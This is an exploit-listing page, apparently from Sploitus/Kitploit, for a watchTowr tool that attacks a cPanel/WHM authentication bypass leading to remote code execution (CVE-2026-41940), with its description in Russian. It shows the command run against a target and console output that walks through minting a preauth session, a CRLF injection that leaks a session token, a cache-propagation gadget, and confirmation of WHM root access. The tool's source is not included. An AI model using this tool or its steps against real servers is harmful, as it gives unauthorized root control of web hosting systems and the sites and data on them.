Sploitus

Exploit for watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py

CVE-2026-41940

kitploit · 2026-09-02

Exploit Code

MARKDOWN41 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WATCHTOWRLABS-WATCHTOWR-VS-CPANEL-WHM-AUTHBYPASS-TO-RCE.PY
# cve-2026-41940 Обход аутентификации cPanel/WHM - генератор артефактов обнаружения

Инструмент для генерации артефактов обнаружения обхода аутентификации cPanel/WHM

# Описание

Этот генератор артефактов обнаружения проверяет, уязвим ли cPanel/WHM к недавнему обходу аутентификации.

# Детектирование в действии

Проверка на уязвимом экземпляре:

root@kitploit:~
    
    
    python authbypass-RCE.py --target https://target:2087/ 
                         __         ___  ___________
             __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________
             \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
              \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
               \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|
                              \/          \/     \/
    
            watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
    
            (*) cPanel/WHM Authentication Bypass - Detection Artifact Generator
    
              - Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
    
            CVEs: [CVE-2026-Pending]
    
    [0] hostname = 
    [1] minting a preauth session...
        session base = :vQ2WC5Bexp0oFSa7
    [2] sending the CRLF injection (Basic auth + no-ob cookie)...
        HTTP 307, leaked token = /cpsess5691070609
    [3] firing do_token_denied to propagate raw -> cache...
        HTTP 401, gadget fired
    [4] verifying we're WHM root...
        /json-api/version -> HTTP 200  {"version":"11.110.0.89"}